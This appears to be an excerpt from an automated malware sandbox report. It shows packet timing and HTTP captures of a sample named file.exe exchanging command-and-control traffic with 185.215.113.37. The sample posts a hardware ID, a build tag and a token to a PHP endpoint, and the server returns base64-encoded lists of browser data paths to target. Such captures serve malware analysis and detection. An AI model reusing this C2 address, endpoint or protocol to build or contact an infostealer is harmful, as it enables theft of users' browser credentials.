Sep 30, 2024 12:33:23.607877970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.607887030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607897043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607908010 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607920885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.607949972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.607981920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607992887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608001947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608012915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608028889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608031034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608051062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608066082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608077049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608089924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608098984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608109951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608120918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608125925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608129025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608151913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608163118 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608208895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608221054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608231068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608237028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608247042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608254910 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608263016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608273029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608278990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608283997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608294964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608305931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608310938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608333111 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608340979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608388901 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608432055 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608468056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608479977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608489037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608500004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608510017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608514071 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608525991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608537912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608542919 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608561039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608572006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608587027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608597994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608608961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608618021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.608633995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.608664036 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.619143009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.619189978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.664629936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.669471979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.880945921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.880971909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.880983114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881021023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881032944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881043911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881050110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881059885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881069899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881078959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881081104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881103992 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881108046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881114006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881120920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881130934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881134987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881143093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881153107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881159067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881162882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881164074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881170988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881181002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881186962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881205082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881213903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881227970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881231070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881241083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881252050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881258965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881261110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881272078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881277084 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881283998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881293058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881303072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881305933 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881326914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881335974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881339073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881377935 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881400108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881411076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881442070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881454945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881465912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881477118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881489038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881545067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881556034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881566048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881567955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881566048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881566048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881620884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881613970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881613970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881638050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881649017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881659031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881661892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881669998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881685972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881695032 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881707907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881722927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881728888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881733894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881743908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881748915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881772041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881783962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881810904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881823063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881833076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881848097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881855011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881863117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881874084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881879091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881885052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881890059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881899118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881901979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881928921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881953001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881967068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881972075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.881989002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.881989002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882009029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882024050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882035017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882045031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882054090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882065058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882091045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882091045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882091045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882106066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882122993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882133961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882149935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882160902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882172108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882205009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882205009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882205009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882214069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882222891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882235050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882244110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882262945 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882282972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882302999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882313013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.882333994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.882355928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.966906071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.967006922 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:24.563513994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:24.563514948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:24.568559885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:24.568576097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:25.826311111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:25.826380014 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:25.826455116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:25.826505899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:25.949060917 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:25.953949928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:26.167444944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:26.167460918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:26.167478085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:26.167572975 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:26.170165062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:26.175044060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:26.389734983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:26.389816046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:26.408037901 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:26.412828922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.113632917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.113723993 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:27.140829086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:27.145754099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362719059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362739086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362751007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362765074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362776041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362787962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362803936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:27.362818956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:27.362875938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:27.364301920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:27.369086027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:28.244833946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:28.244920969 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:31.533046961 CEST	49705	80	192.168.2.8	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.37	80	7684	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:33:07.419405937 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:33:08.070862055 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:08.073714972 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 34 30 32 32 31 41 38 46 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="hwid"ED40221A8FCD3935430149------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="build"doma------BKJKEBGDHDAFHJKEGIID--
Sep 30, 2024 12:33:08.305316925 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 44 59 77 4d 47 51 79 59 32 49 31 4d 6a 6b 32 4e 6d 4a 6d 4e 32 56 69 59 7a 45 32 4e 54 4e 6d 4f 57 59 79 4e 47 4d 31 59 6a 4e 6d 5a 6d 51 78 4e 7a 55 30 5a 44 5a 69 4d 47 45 35 4f 54 6c 68 5a 6a 6c 68 4e 44 67 35 4e 7a 68 6c 4e 44 46 6a 4d 6a 5a 6d 4e 6a 67 30 4d 47 56 69 4f 44 4e 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MDYwMGQyY2I1Mjk2NmJmN2ViYzE2NTNmOWYyNGM1YjNmZmQxNzU0ZDZiMGE5OTlhZjlhNDg5NzhlNDFjMjZmNjg0MGViODNhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 30, 2024 12:33:08.307337046 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"browsers------DHJDAKEGDBFHCAAKJJJD--
Sep 30, 2024 12:33:08.525984049 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
